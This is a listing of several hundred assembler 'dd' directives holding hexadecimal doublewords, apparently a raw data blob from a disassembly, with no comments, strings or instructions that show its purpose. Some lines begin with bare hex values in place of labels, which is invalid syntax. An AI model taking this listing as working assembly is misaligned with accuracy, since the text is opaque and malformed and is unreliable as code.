627A947Bh dd 258A567Dh, 0DF00EDB7h, 2878487Ah, 0B7D65ADBh, 626A4A0Bh dd 6DB9A400h, 39985A8Bh, 0F156082Fh, 46600143h, 0EC5107D7h dd 860B0BA8h, 58CA18A7h, 5B23404Ch, 0C0BC1A97h, 2D29A7D6h dd 504F5DBFh, 0DBC1E54Fh, 183A08AEh, 0BAC1022Dh, 76AC42B4h dd 0CA17FCCCh, 978DC91Ch, 41E75E83h, 0BA0950E5h, 0A47387D1h dd 4482290Ah, 9BF8041Fh, 0C01788EBh, 0A4AD790Ch, 3C818EB9h dd 0B3EC8497h, 2B80E52Fh, 92B7AF31h, 6593282Eh, 2CF676BCh dd 0A720F86Eh, 1005EEC1h, 347AC8BFh, 0E6FD6CA3h, 3B62E0D8h dd 0A3C61627h, 2CB213h, 75CF1944h, 99EDC4h, 8C0459B0h dd 9A277F14h, 4AAD9456h, 0BCB853ADh, 0A83C0701h, 1480B9E1h dd 0FD3365E5h, 8C937B00h, 24CE0375h, 27B90E09h, 0AD9271A4h dd 21222A58h, 0D38B1231h, 0D01EB961h, 57DD4AC5h, 49C0735Bh dd 0BD03BB3Ah, 0EB12B54Eh, 9E77B98h, 0D864A69h, 67447C71h dd 20BDBC57h, 604EB523h, 49D34DBFh, 7C490FD9h, 0BD196A5Bh dd 23D5C382h, 9B54C60Dh, 8DBC39F4h, 74A85902h, 0EB619971h dd 963D2EFEh, 0C0A8F329h, 6DCDF01h, 9A99E8Ch, 41F1F30h dd 0E91EF337h, 7BA3B83Bh, 0FB80CF01h, 0C18B448Ch, 0E9B8143Dh dd 12D2D301h, 24B19D0Bh, 95DDC6Ah, 2DBDB516h, 50D93BD2h dd 0C16D95D6h, 0FDF7FFC7h, 99345900h, 2851956Ah, 0D50F8B89h dd 0E992318Fh, 5AECBDC1h, 5C7200D6h, 3876DD79h, 0AB31B356h dd 0A5D5D45Fh, 0A7E9A72Ah, 0A213FFF0h, 0ADBF0285h, 0F544AA19h dd 2F68F5Ch, 3967F5B1h, 0EC7564ADh, 5DBD1097h, 1090252Bh dd 1F1118A4h, 79F3CED8h, 0FF4C6616h, 890FBB04h, 0EE52C7F4h dd 8C4C9780h, 80F7D9BDh, 33E5FBAAh, 0B558BE2Ch, 0C5EB001Eh dd 315F5B6Dh, 1105249Dh, 63024BC2h, 0B7D502D9h, 82169123h dd 0E0652A45h, 972EEDB5h, 37559F3Ah, 66AE00F6h, 0BF0C2751h dd 0CE548402h, 82D1FF37h, 5C26D9A1h, 2FB2719Ah, 0E0B12AE7h dd 1F007A0Dh, 6C2999F3h, 26A2D0Ch, 2770DD5Bh, 0D5710278h dd 0A5F084EBh, 0A940077Ch, 0D82E70h, 0D07E66C5h, 56FECC0h dd 148D0F13h, 0E80034E7h, 3C98E737h, 9F00E34Bh, 0FFFA6720h dd 5AACE45Ah, 0CBCBA850h, 401604BBh, 0E63B53ABh, 301AB210h dd 0A9003595h, 8F4D8916h, 0B555BD23h, 2EF92649h, 41DFE038h dd 2FCF38A5h, 4007F8C8h, 8A7E6110h, 5BA51A97h, 22D770D9h dd 596BD22Fh, 2B698080h, 97CCDC2Dh, 23B35400h, 4349AFF8h dd 0F96328DBh, 0C539F8Ah, 1413478h, 0D830148Fh, 2EFC5D27h dd 870FEF61h, 4C7CE2Ah, 1F69B529h, 60BF9CFEh, 7AE28B5Eh dd 0ED6A611Fh, 0F1A6AA59h, 0A5CBDE25h, 8B69D456h, 2565C6C7h dd 99CC611Dh, 4A21F84Bh, 3C30B0F9h, 70E605FEh, 49D59D23h dd 1301E4E0h, 2E15A18Dh, 2AD99532h, 2A0D112Ch, 2A40E260h dd 6BE80DB8h, 3F32162Eh, 4F13D1C4h, 0A9C4EBE9h, 184E2CAh dd 0A4109C62h, 986A5B0Bh, 0D1218DD1h, 0EE602520h, 997EE14h dd 0A9672FBBh, 25B6703Eh, 0AB54B5B3h, 81D07125h, 0A01E2319h dd 0AD01E9BEh, 8DFB8215h, 3DC60C10h, 0D892199Ch, 0D0F99DE0h dd 0BB09A708h, 9472F882h, 0A8FC1644h, 1E733C32h, 9163BEB2h dd 137D4844h, 70AE235Dh, 0BBDF81E0h, 55627D12h, 292280E2h dd 0E55FB1B0h, 1598921h dd 40A58301h, 0E780FE21h, 62B8FB68h, 244CC20h, 98864BB7h dd 2E41F479h, 0D8BB093Ah, 0D115B73h, 1C1F4600h, 705FE20Ch dd 74FEC401h, 0B92E477Fh, 6AD1F17Eh, 0EEF053A6h, 31036313h dd 7E96D646h, 54B8BC80h, 9976E5Fh, 9983BB8Fh, 57608E87h dd 21433F2Fh, 1E69F400h, 0AB6E4DAEh, 0F7BF9E01h, 0FC29719Bh dd 1085822Ah, 85CA3D56h, 2BB7022Dh, 82ED5DD2h, 0D3D5E9C0h dd 0D990021Eh, 5E70F916h, 0C60EC4C6h, 466EF60h, 46E82A68h dd 975FF344h, 0D7A14336h, 72E02FFFh, 2B56821Fh, 0DE7C7EA7h dd 0A061D305h, 64EC901Bh, 70364487h, 1DC4A54Ah, 186B499Eh dd 13F7A47h, 0CC6D6014h, 33B94136h, 0B7530BB2h, 0C9B9D539h dd 4A372941h, 0FE896DD9h, 6D710885h, 947ABDD1h, 0F888098Eh dd 0F2C425CDh, 7F806ABCh, 0DC0E11B6h, 3227E70Fh, 0DF1F20FCh dd 12D5EFE5h, 0E2474479h, 0D6CA897Eh, 11F4F676h, 1DDC6C02h dd 4087C071h, 8E2B2D46h, 1FBB7B7h, 239DAF6Ch, 348C2A42h dd 5BCDB001h, 0E162612Eh, 605FF51Fh, 8009C8B6h, 73C5204Dh dd 66FBA7B9h, 0EE424659h, 98A66A7Dh, 1FECB30h, 24419B31h dd 3EE1FFBBh, 0BE8055DBh, 131F23A8h, 0DDB8C212h, 4AB88C1Ch dd 529E3AE3h, 6A7AFB04h, 0BC3BA100h, 4A6DFECFh, 0B116C116h dd 21454904h, 66E201BCh, 319D3320h, 5873BC28h, 26D31D86h dd 60F03CA6h, 0A258D59Eh, 1B17C03Eh, 0FD30F0C9h, 6400C923h dd 0A08EDCDh, 0E00B566h, 394770F8h, 4B413F4Dh, 0ABC08460h dd 5E41A88h, 95E868DEh, 4300BEA3h, 0A03D31C8h, 717A5867h dd 619EF55Fh, 61BC011Fh, 0AA322E14h, 0DD38DD15h, 0D97DBE68h dd 0E18E3E04h, 0B6B9DC27h, 32C19D82h, 0D3019514h, 2E90010Bh dd 591E60A2h, 1BB7250Dh, 896B8600h, 18262148h, 5A0B02CBh dd 9095D1BDh, 4B9D2983h, 687E01E1h, 0C8152C82h, 84D65250h dd 0C05FDBEDh, 0A2F7DE2h, 816E7AFFh, 0F51CB90Bh, 5836D280h dd 86129ABBh, 80A71D52h, 8BBADA5Ah, 68207677h, 0A7109B0h dd 0AD2A1655h, 0A62D6087h, 0C901CF3Dh, 0AB0DDCFCh, 3640E837h dd 59BE1BAh, 0F69F911h, 0C142218Bh, 0E95B0024h, 49024F17h dd 0F771DACFh, 0DE9A762Dh, 0BECEBD09h, 5C3A00E7h, 951990DEh dd 0BD15FD04h, 71F9C91Ch, 0D1D0A7FBh, 652FA1B0h, 0BEE4FB31h dd 0B0B70627h, 4E48F000h, 2F0160ACh, 85D4158Dh, 84A38AAh dd 204BA9E7h, 71C22200h, 67911F00h, 8C3A7055h, 80394BF2h dd 0D2E8BFA7h, 962A3817h, 303A0BE8h, 0DEA5A1F6h, 567CBB35h dd 0B2A7E65Fh, 0E5F6301Ch, 5602B1E0h, 4ADAE448h, 896A60F9h dd 48C7B531h, 1313B03Ch, 90A9E7h, 0F572C3Ah, 0C43CC39Dh dd 82298A3Ch, 5E46696Ch, 627F4884h, 12B1A15Fh, 64F59C10h dd 386BC700h, 0BE49701Ah, 416F01C8h, 0EBA011B0h, 741750A1h dd 7E0002C4h, 1B55C854h, 0F0DC037h, 7A5F0C47h, 0E8248B4Fh dd 39444010h, 9AC61Ch, 4732E6Dh, 99BA590Eh, 251AE707h dd 8B155B5Fh, 30B78847h, 4C325769h, 0FF21687Eh, 585F5205h dd 30B972FDh, 3414AEFEh, 2CDD85B4h, 8D921079h, 0F780D32Ah dd 88C1849Ah, 4DBC8104h, 61C276A4h, 817DD6BDh, 0B350905Bh dd 0ADCD297h, 0A00D4BDCh, 618A0C17h, 0A62A23C1h, 3317F25Ah dd 5F51CE98h, 9737DE5h, 0ED615B1Fh, 0ECA0C053h, 543F704Fh dd 0E38BCBEAh, 33C5F925h, 74254D1Ch, 0E907F4DBh, 0B271FFB7h dd 56CD6FD0h, 6A53953Ch, 2E969F8h, 0BD981E4Bh, 7A1D8E93h dd 0A2232D7h, 6D09768Bh, 474C06h, 422C9774h, 5613F33Dh dd 9D282A12h, 0A4880FF2h, 0C10EEDA5h, 3AE988B9h, 792ED3E1h dd 0C02E0F2Dh, 2EF6FD4Ah, 98AC4B86h, 65319D45h, 0C5BDC526h dd 61177D73h, 0F24FF61Fh, 7FB13114h, 5BB83C34h, 4C9C04D6h dd 4A83B8B4h, 0E0C1049Eh, 2BEA1979h, 0E176BE9Dh, 1363D5A0h dd 76FF8604h, 92E87EEAh, 9B33DA80h, 0CD008C6Bh, 0E4BDDB25h dd 0EE46F9h, 0A25EBC9Ch, 96BB5662h, 0F08B600Bh, 0F02F5F61h dd 0B2B4B632h, 0BA9D301Ch, 0FD9CE500h, 5E0AD0E8h, 0C81340Fh dd 4230BF25h, 0FF619509h, 0E1858204h, 3A972778h, 0D9B57F78h dd 9EF31201h, 0CE6EF546h, 0E7C709F0h, 89DA0228h, 58315AB5h dd 0B8D38A5Fh, 0D37D808Eh, 3D32AC66h, 2681BA43h, 0A3F827CDh dd 0C9DA6A5Bh, 0F4C017C8h, 0B46E2C83h, 770A09C1h, 3D97A378h dd 0C87B8063h, 0B3C95CA2h, 10690627h, 5B1EC1Fh, 8C085FEAh dd 4B9FE8D8h, 4E3AA98h, 2BDB5E27h, 0E5FF3F9h, 0D265BD31h dd 0A95A85F6h, 5B3BA879h, 1798B62Ch, 0E7208185h, 8223059Dh dd 0C625965Ch, 78DF8674h, 1EB8196Ch, 14C13EAFh, 0A39249B9h dd 0B50909AAh, 97AC70F9h, 3CD097DBh, 5B7D7265h, 449F0494h dd 291F81A5h, 0D78A2E1Ch, 2FA9BD09h, 0BDD9167Dh, 3F40814Dh dd 1230C8Bh, 6EE177E3h, 6CF8D157h, 0C220206Ah, 96750393h dd 600008C6h, 0D6403CDFh, 1753D318h, 0EBFD8D2Fh, 3356F617h dd 0FC0047A2h, 7F55846Eh, 4800A6BEh, 0F3C589BBh, 95965B17h dd 7F045D37h, 2B80623Bh, 4D462DCEh, 1BB83071h, 9E03058Ch dd 0C2A20F56h, 0EF821907h, 0BAD51CA5h, 0A6985DE7h, 0EA9DBD0Bh dd 51AB5C74h, 94301520h, 57A2EA2h, 13495F31h, 120AF750h dd 96F10E2Ah, 595995CCh, 16E8412Ch, 0D55C128Ch, 2163B028h dd 94DE6EB5h, 507B2551h, 7F47C2A5h, 6283CF37h, 88CBD5D1h dd 97D70FB1h, 7D4A3A94h, 5DB094A7h, 7D04B603h, 9A4179F8h dd 78288CAFh, 628B5501h, 5AC534E5h, 6A878338h, 1936A140h dd 73C03E79h, 0E5BA1A3h, 0F1BD235Fh, 0D57DF212h, 0B5ACADh dd 6390A885h, 69BEF85Ch, 4BC67025h, 5701F22Bh, 0D280E61Eh dd 0E9801435h, 0FFF238CEh, 271051ADh, 2F166E49h, 140B56BEh dd 0E2E4C1h, 0E9ED14AAh, 0BD522257h, 0F0269527h, 5B064073h dd 59815B95h, 0D71819h, 231420F6h, 9BD896Bh, 1349215Eh dd 0BCD550D8h, 5800DC41h, 2698E179h, 41BEC0Ch, 8501FA4Ch dd 0F448CA9h, 6058022h, 0F34E62BBh, 8B5B1A64h, 0E66196E2h dd 0DAFEB5E2h, 0C00AED7Dh, 6DE5AB9h, 6045AE17h, 0A504F184h dd 61092A75h, 0CD973378h, 2175C936h, 40FA8EE0h, 0D275F942h dd 9F97B0ADh, 0ED81F8E1h, 7E883A50h, 0B5F9BDD7h, 1ABC7882h dd 5982E2ECh, 5BDF8580h, 0C0F09B90h, 8CCAE837h, 4EDF16E2h dd 0BE8313D9h, 6AFCEC45h, 0C0159BEAh, 0D8B6A48Dh, 0A6CC04FDh dd 0FF6A383Eh, 0ABE06730h, 0F3E71DF8h, 0AED901DDh, 0C1BD9F56h dd 73322F19h, 6C505EF9h, 0FF25D9EEh, 70D27BD1h, 94974B59h dd 387A4545h, 66080FBh, 1C9B448h, 3058EC7Bh, 2BCB375Ch dd 27025183h, 0C542FB88h, 8088BDFFh, 325F5423h, 0A80C30C4h dd 2111E815h, 5561000Eh, 0B7FE594Ah, 7B07AFFAh, 1F84685Ah dd 66F21BB2h, 0D5F92E02h, 1A830075h, 45048049h, 7136E6BDh dd 1EF55D5Bh, 0AEEEBB80h, 0E91239E4h, 0DF20E6Bh, 1DB5ECC4h dd 5DCC381h, 456614F8h, 0BB3F27F0h, 3524BA97h, 6C418797h dd 0CAC03E2Ch, 0F98B6491h, 0B5DB8012h, 959013B0h, 6841B8B1h dd 2BC11FCAh, 0DBCB8084h, 0BE9205BCh, 0F825C27Ah, 5B9F1BE6h dd 0F57278A3h, 0E291DA25h, 0CB735534h, 454BCD0h, 0E14682C6h dd 3D2EC1EFh, 0FF51922Dh, 0C80519Bh, 7453DB4h, 5009CF80h dd 0B8FEB3C4h, 0D312D1Ah, 0FDD22453h, 429CD84Eh, 76E4722Dh dd 29992589h, 0F7516556h, 0A3F847ADh, 16B0E3CEh, 0FDC1EA00h dd 61E654BAh, 0E4DAA870h dd 0BA346B71h, 0D4229AB9h, 3D9D0B13h, 0F3817540h, 4B294E31h dd 5B93C71Eh, 49D40E8Eh, 0BD15A512h, 2FBCB3Ah, 2008E9C6h dd 0EF91D740h, 74A3ECF5h, 0F788A097h, 2D381E2h, 16794CB4h dd 0AB80C82Bh, 8B3AF2C7h, 0F380D102h, 0A206E9A1h, 0E4183D71h dd 0E9D204Dh, 0EBF8234Bh, 8A88E092h, 220AFD6Bh, 57316523h dd 14231F99h, 0CC8027B8h, 3594B863h, 428D9200h, 0ED918514h dd 47E934E4h, 0C356A825h, 9D1D9D29h, 2AC18AABh, 0B5125785h dd 1EBD2261h, 0A8BC2088h, 0FE3F1BA5h, 698DA550h, 0EAA05B0Fh dd 0F1F4F76Fh, 0EE59530h, 0FE38ED04h, 1F46FEEh, 0F5EE9174h dd 86E6236Eh, 0C1739594h, 0CD852950h, 0D510AC17h, 55247D09h dd 0B75D45BAh, 0B97B0486h, 2591048Ah, 957251Eh, 0DC8ED6B1h dd 4AB7CE0Eh, 0C20961A3h, 0F4309A06h, 0C5608904h, 0E25EC661h dd 3B49D02Dh, 6E4FCE06h, 0C7EB017Dh, 0F5C5E8B8h, 6100ACDh dd 0B601FC9Bh, 3D0352C0h, 643FB14Ah, 8462FC9Ch, 0DFEAB85Bh dd 0FC881ADh, 71420E8Fh, 18D1858Bh, 42DE24EBh, 0D22B61ADh dd 2A0D5FE0h, 81D1CDB5h, 0A98D31F5h, 0DC642F06h, 0F9522380h dd 12284FB8h, 0F47BEE57h, 0A6C8AF00h, 81418B22h, 0D49DB09h dd 0BB97B6Dh, 955CBFB7h, 4AB5955Eh, 113E3100h, 16CEBF46h dd 40806A0h, 0AA5C7E86h, 354338DEh, 16E13F7h, 0FABDBA2Dh dd 890F3955h, 1B888CFh, 16B00E8Ah, 8CECC0F9h, 4FCF9302h dd 0D7FCB21Dh, 28A19C35h, 0F25B8380h, 970DAEDEh, 8120616Eh dd 0E1FF2627h, 1C250955h, 5BC46B79h, 0E6511257h, 0D5F99243h dd 4D196FB8h, 2A06025h, 16F61E15h, 0AD31AA81h, 8B6B0CB1h dd 0A1F122BBh, 6EA4EF01h, 2F02107Ah, 0C204CD60h, 0F98572B9h dd 9DB3A4FDh, 4BF4854Dh, 60B26484h, 5F38D602h, 585EE236h dd 0FEB55525h, 22C6F480h, 0E70BDBEBh, 482F1ED5h, 0B7893A73h dd 11E45BFAh, 4F860708h, 0A2D11E6Ah, 9D6BE333h, 0A36A7AB8h dd 8F30A100h, 0C515D8Dh, 0F617F0B0h, 0FBB609h, 0CEF94F87h dd 109F9006h, 0DBD88h, 0A65B4762h, 5802E683h, 4B13F602h dd 5E50D428h, 106447D2h, 1002EE54h, 1BC8EA09h, 70DE5390h dd 0A509ED58h, 5D95016Dh, 0E36AFFA5h, 0FCDF0260h, 4C06AC1Ah dd 0B5310B7Fh, 0CFD60E15h, 5C276142h, 84507234h, 4981BBE5h dd 0E7831634h, 26106726h, 0F466BC12h, 130B4301h, 3E3800Eh dd 0B969572Bh, 1234E8B4h, 0ABF8EAB0h, 20096462h, 9C4F68CBh dd 0B91FA0E4h, 0C1962471h, 0FB82F2B8h, 0A97FBD0Bh, 5498710Fh dd 2F74AE00h, 23E97164h, 0C0895B2Eh, 547CEF0Ah, 0D1979A97h dd 2DCAA044h, 277B261Dh, 98DB7A5h, 0EE5EF2F0h, 0BCF70812h dd 38E7C85Eh, 63BFFE95h, 0E9F8ACA4h, 0F2A05FF8h, 22907D3Dh dd 0C4DF6DBDh, 8712AF28h, 236B6BAAh, 0B0DF001Ah, 0FC7236EFh dd 78823F4Eh, 90B2D721h, 7C5040D3h, 4A957333h, 59885B9h dd 0FE07551Fh, 9087F652h, 80033759h, 6BB8E070h, 0D10AC04Bh dd 0C9B1B52Bh, 91BCA116h, 0FBC8AFA4h, 30E3004Eh, 7CDDCFF1h dd 92031221h, 0DA5D4C54h, 3918F8BBh, 0C5B7268h, 0B28A4120h dd 0E095D8A6h, 28C2DF60h, 25DE4D94h, 76E26743h, 840B3DFFh dd 0BFFA9AF5h, 0F4BD93C3h, 0E2B35F0Fh, 178E076Ah, 34A05B49h dd 2D0B9406h, 58FCD832h, 80A9C069h, 0F6B949C7h, 5B61BB99h dd 0B60EC0B0h, 463F092h, 3205BEFCh, 0B43FBC02h, 0E7DF4C1h dd 8D88B32Ah, 6E7E274Ch, 26310030h, 0F9E9775Bh, 0C9021DD1h dd 0AA3D9369h, 524E87Bh, 28F10944h, 4A774B5Eh, 1216DE2Eh dd 83A6599Fh, 2F34AAE1h, 88B85F28h, 0F6A5D0B3h, 4AF8A99Fh dd 5D6EAAh, 0ECB22988h, 16221741h, 0C5798492h, 0AC54FDD7h dd 88168C16h, 0E2B99174h, 7511818Eh, 2626C771h, 0B5097EA1h dd 0F6225E8Ah, 470498B2h, 44395C32h, 6C6D20BEh, 0A00F2EFh dd 2B5B7A78h, 711B67A7h, 0ABBF2739h, 2A5F2F41h, 14B2AFB6h dd 13FBFD33h, 0F2EFCDD4h, 60266077h, 2CB60BBBh, 54197193h dd 90BD2BE3h, 16407C81h, 73F12E5Eh, 6E4BB87Ch, 2D7F07C2h dd 23C0B628h, 0B009F51Bh, 2AFD4530h, 17234A6Bh, 2C3D0501h dd 8348E820h, 0F6CF00C4h, 1B49D7C8h, 285861CBh, 0F09C2678h dd 7E9E9B00h, 9E5F35D8h, 0DD4B38D7h, 80BC6C7Dh, 7FD65187h dd 0FFF30149h, 36045B5Dh, 25A0EDA9h, 0D87B2E16h, 1611AE0Fh dd 1F9902C0h, 309FA09h, 5720559Dh, 16911037h, 13F42982h dd 4A8D84FDh, 0AF9237BCh, 0E1878E9Bh, 3266D092h, 0C778CA25h dd 77A71E4Ch, 1A2B0F40h, 0BE0305BDh, 81800A71h, 50A251E3h dd 9E7EC38h, 71F2195Dh, 3B06778h, 0B73A0997h, 1A998055h dd 9A483CA7h, 0B1B6DF09h, 0D6D35E0Ch, 8B121546h, 39550554h dd 7675AF01h, 75E03CB6h, 9A07AE95h, 14D20C5h, 0B817087Fh dd 11B9293Fh, 0ADE48BC8h, 2550A8FFh, 0E0638319h, 6D7F4AA2h dd 79B06B5Eh, 0F6B09A6Ah, 2618FD20h, 1336096h, 7DB9E9BAh dd 0C930313Bh, 4C37B88Ch, 0D78A131Dh, 4ED872B4h, 92D59B96h dd 0F0BBC4EAh, 65B71496h, 0EE7D7068h, 5E758904h, 52802639h dd 12844A54h, 0F6C5B773h, 6B862868h, 4A621497h, 0ECC0BD42h dd 0FED90328h, 0DB02D37h, 2F5072A1h, 0E1888h, 1B6EBD75h dd 0EF368256h, 0DEBC1C0Bh, 768D09F0h, 5BB93A3h, 65430A15h dd 0CBADF88Bh, 5AA54360h, 0E37C12D1h, 80305F70h, 1485DF81h dd 2833CC08h, 57C3009Fh, 31476BF7h, 5958D24h, 0C485CD25h dd 5D7F6016h, 809497DBh, 97E7484Eh, 3BDC41B1h, 0AE814634h dd 742F2EFDh, 7EEB260h, 6C81D8EAh, 92EFD91Bh, 0BB4CF05Bh dd 0DEDAD009h, 694B7921h, 2A0060D9h, 195A324Dh, 2E695h dd 7C34D644h, 47D36C2Eh, 98E22234h, 0C79628BEh, 5EB8BD00h dd 719E64C6h, 0D9EA0403h, 0BCAFE95Bh, 59B4A73h, 494DCB80h dd 20173DB1h, 76800355h, 5E8BB5B6h, 16E1C2C1h, 3A3B957h dd 8A0DB9F0h, 28537957h, 252B98FCh, 87FE0595h, 0F6085C6Bh dd 8ACF9B31h, 0B33A1EA5h, 0E3602D36h, 0F4E9EA0Eh, 24611F04h dd 0F030F40Ah, 0C688E4E8h, 0D0F2BBFEh, 0AF023642h, 0CA3B6787h dd 117411Dh, 844B7E7Ch, 0C26EBE7Bh, 0FD98A025h, 0EB0F7922h dd 616E9B88h, 0B860D992h, 11D699E4h, 96FFA77h, 7FF8B70Fh dd 68CB0D12h, 80F39EC5h, 0A502D5FEh, 1247788Ch, 0BD2FAE50h dd 8C14ACA5h, 0E8F0FC5Eh, 0A3E59534h, 7B59C2A3h, 0FF87986Eh dd 6CB6D15Eh, 0FF4281E5h, 6BA67E64h, 25BD851Ch, 9FC4C679h dd 1280F9DFh, 1F055D19h, 2513C538h, 8192E09Fh, 94C013EFh dd 0D5ECBC90h, 0CB8E09h, 757DF527h, 25FB00EAh, 7871A5F9h dd 0C512078Bh, 6EEF904Bh, 0F3660067h, 0E9256B92h, 0D7811D5Fh dd 2EF05F97h, 81D4491Dh, 87C982F4h, 2C8B9E0h, 790BBB66h dd 808CD75h, 5225C692h, 6EDA5E1Eh, 7FFC4F81h, 123E4081h dd 0F6046A59h, 0B0BC307Ch, 1E0130D3h, 27020157h, 5BFA8B3Ch dd 8A5E7490h, 16CD83B3h, 4929CC87h, 66AC115Ah, 0B32A5E1h dd 25EB6E5Fh, 0EB575C46h, 0CD70DA7Bh, 2445769Ch, 1132A039h dd 90B65A0Ch, 352E7B58h, 251542B2h, 0FE4B27D2h, 415131D8h dd 89EF0101h, 31202F17h, 20941CD7h, 0B32705F3h, 319356F9h dd 2F10DF1Ah, 43302F4Dh, 0F4022E60h, 0AD064E35h, 533DC08Dh dd 2A6B8111h, 10C0562h, 0F0FF30B1h, 2B6E3956h, 202BBBD9h dd 7A356CE1h, 77CDF600h, 4A6B691Bh, 0DF012C9Fh, 45FA287Eh dd 69D5E202h, 8F44608Ah dd 59500C02h, 3E4C5E61h, 90E2DAh, 1E5A79D3h, 1D42A4D9h dd 0C0FE8E05h, 0AC131155h, 0E52A8669h, 43004590h, 0CDC2A6E8h dd 9D4F350Bh, 6105B3D1h, 8E00C82Bh, 5982E3F1h, 29D1048Bh dd 0FE2EF985h, 243FCAD9h, 0EE32FA95h, 0AC6979F9h, 213D086Fh dd 9EF78005h, 30AE4B85h, 5E0385C6h, 7FA6BF00h, 6ED57299h dd 0D24700C3h, 0C2E2C11Eh, 28B0E0B1h, 7920392Dh, 0D24B38C6h dd 0D91196h, 4888E9ADh, 0B8666010h, 618C7517h, 8C2735AFh dd 0BB00F776h, 34A6B2EBh, 2517A48Ch, 88E45D0Fh, 84882345h dd 0A83F0B31h, 0FE4825A5h, 0EDD30D27h, 7800847Eh, 4B69BD09h dd 108BCA0Ah, 0B9924352h, 1C1CA839h, 64996497h, 0AEF9E41Ah dd 0F403E6h, 0B22064EAh, 0E612505Dh, 24AE7281h, 0E819E9DCh dd 674A0EE3h, 102057C4h, 81F9BBA9h, 0DF22E701h, 0AFB91C21h dd 203F2325h, 5A3E0FCh, 7A4837E2h, 1C0AC072h, 0E6C909h dd 190201B8h, 94A6122Dh, 0DC176B01h, 5B5610DEh, 0A6A2172Fh dd 0AAF2E03Dh, 0D05C12BBh, 20DBECBEh, 0EC59F418h, 0FC42094Ch dd 9845820Fh, 9AF3800h, 47887EAh, 0F63173D1h, 0DF9AEA8Ah dd 8FC01488h, 4F39B501h, 0A55E431Eh, 2BD9BEFBh, 0F66E6BD2h dd 69EE1D03h, 77F1FD40h, 51C87F68h, 5CBA009Ah, 8A4D7221h dd 0C84E6E58h, 16FC76B9h, 7B93028Ch, 55D380BEh, 99D1BEC0h dd 0E8090790h, 6D0E9C96h, 0A440CE2Ah, 0D50E4830h, 716D9225h dd 0FB8317DBh, 9862Ch, 0BEED93CAh, 2D699D33h, 2D046597h dd 8A127635h, 0B429BDB0h, 9A57EB3Ah, 6CE87509h, 24C891FCh dd 0A36193B1h, 71986230h, 0E9175D21h, 0C6DF8082h, 0C541D550h dd 14283A5Fh, 6B38836h, 0A3DFB84Fh, 0CC29B78Eh, 58A7E079h dd 0B60197E1h, 0F3525B5h, 80001F22h, 75BF46CFh, 9743A1F3h dd 252DBB94h, 703D04h, 90840B76h, 0EB5A544Fh, 4C0FC8h dd 7A0FBEA6h, 5A1D2718h, 9B74FA01h, 2EE5BD31h, 35318E2Eh dd 0C0037FA9h, 0FD752448h, 41BFE400h, 918B0F0Bh, 0E2521238h dd 88300746h, 3230BC26h, 4B03D9C7h, 0BBAFC55Fh, 75024F6Eh dd 4D47346Fh, 0BF01C55Eh, 0BA737EBh, 29A6472Fh, 375D0B01h dd 0DDC7800Bh, 0C5D42F64h, 9D0B3A09h, 56412BE9h, 1846D671h dd 0EE683400h, 816029CEh, 0AF5CE004h, 81836C45h, 0E652DC8Dh dd 301BB2EDh, 262CE23Dh, 243A1CB6h, 0DE139E03h, 7BEDB9BDh dd 4469DAF6h, 0BBC0004Dh, 4AA9C3Ch, 287764A5h, 0A6B240h dd 7FA13104h, 3B8EE6Ah, 409CB2F9h, 0E6E80BF6h, 68019D0Dh dd 3895A951h, 802EDF8Bh, 8AAAAE9Bh, 0D7C7DCF3h, 3FAF3312h dd 2B05BAB3h, 4925C99Dh, 9979FEE1h, 129D6BA8h, 0A1DA82ECh dd 0EDE90414h, 0BD2304F9h, 95BD2F8Dh, 0A29F0D2h, 0E4244DB7h dd 0FB596019h, 14291282h, 2D55ECBAh, 0C92B56F8h, 57371A77h dd 3C422ABAh, 293930DDh, 1E59258Dh, 0ED9D19ECh, 38C2412Eh dd 65E4E8EBh, 11D84BFh, 58BB9600h, 5F174064h, 2A15750h dd 67B9FCDAh, 12E40092h, 6B1D0A97h, 0E5EC5B7Dh, 2A319D04h dd 0C89ADBABh, 0DBA4C01Ah, 0EB24B412h, 84021005h, 7527598Bh dd 0E0578CE2h, 9761CB91h, 7B0BB56Ch, 4D274688h, 0E139C40Ah dd 2E83215Ah, 15BF3830h, 56D22743h, 6D60BC56h, 0B4442DDh dd 97E74C96h, 1D834F02h, 0BB4E5Fh, 25DF5F57h, 614A0D15h dd 2499F900h, 5B73FD3h, 0ACEC4FE1h, 905BC5F4h, 0C0E1EBA6h dd 4A902633h, 0E3066420h, 2F4600E8h, 8FB77926h, 1503E72Ah dd 104F0CD7h, 0F361F2B1h, 5A637028h, 77BC404Bh, 0B73A9A55h dd 3219B202h, 25E04055h, 282EEB46h, 0CFBF4E82h, 0F5D9608Fh dd 0E9382FFFh, 80DE4F45h, 0FFE08D80h, 60B822BBh, 2515C3Bh dd 3C2D73C5h, 777A5E5Bh, 71D6CF48h, 7AAF0953h, 556A5B8h dd 0B76C892Dh, 88F38020h, 0AA5C9513h, 78CE518h, 0B515DD54h dd 0A02CFEE7h, 6F6F12Ch, 0DCF78012h, 54E4A09h, 0F334A98Eh dd 9712BB57h, 38B729FEh, 4D178010h, 2586E2DDh, 7FE6F3E8h dd 0F99D3109h, 6D96D51Dh, 9DD48D96h, 0C62512D9h, 0BD564F5Eh dd 52F9C89Dh, 67DBE7C0h, 0D5329297h, 180630B7h, 0E04EA84Dh dd 82319598h, 0AB27F8Bh, 0F73CC480h, 500EEE1h, 50911EE2h dd 29A11AAh, 0E4D4B05Eh, 0BA5718B6h, 504F5386h, 0CF2580D9h dd 700D7465h, 9B002993h, 8C8BBFD9h, 4B2831EDh, 0EEFB954Ah dd 0EC97C8DEh, 8951C3CCh, 0F7D6A59Dh, 0C4862F3Ah, 55D87E73h dd 307B4BA1h, 459D03B5h, 50F20F4Ah, 0BBE7C44Ah, 8A0F786Eh dd 35E2701Fh, 0E45C1382h, 1F1D46D6h, 8B008DD4h, 51F274D3h dd 29A1049Bh, 0AE0F6D95h, 4B81562Ch, 4EF88B1Fh, 5EA192A6h dd 70176E37h, 9F3CB8C1h, 0FA144AB2h, 2DC54575h, 3ED4B3A9h dd 83C8D1E5h, 65909F60h, 1D00AD68h, 0ACE58AD8h, 0BD4193Bh dd 51CB2B9Fh, 0DC00A259h, 0B841483h, 878007C2h, 91A9D3EEh dd 70FE583Ah, 611EF8FAh, 9C86BB50h, 0C0660192h, 0F965D8AEh dd 8D198B1Ch, 61821129h, 39B5DC2Bh, 0E6B63AF7h, 923017F2h dd 0BB69244Bh, 0E09004E3h, 0A3B5B8F5h, 0A9304F41h, 6B19BC53h dd 53F6B4FCh, 5AC99693h, 970DD0h, 0DE3CDD0Fh, 1E904D70h dd 7D133774h, 0FBAC15Dh, 689B54Dh, 18793F7Bh, 0A624B718h dd 94319467h, 0E63A0AD5h, 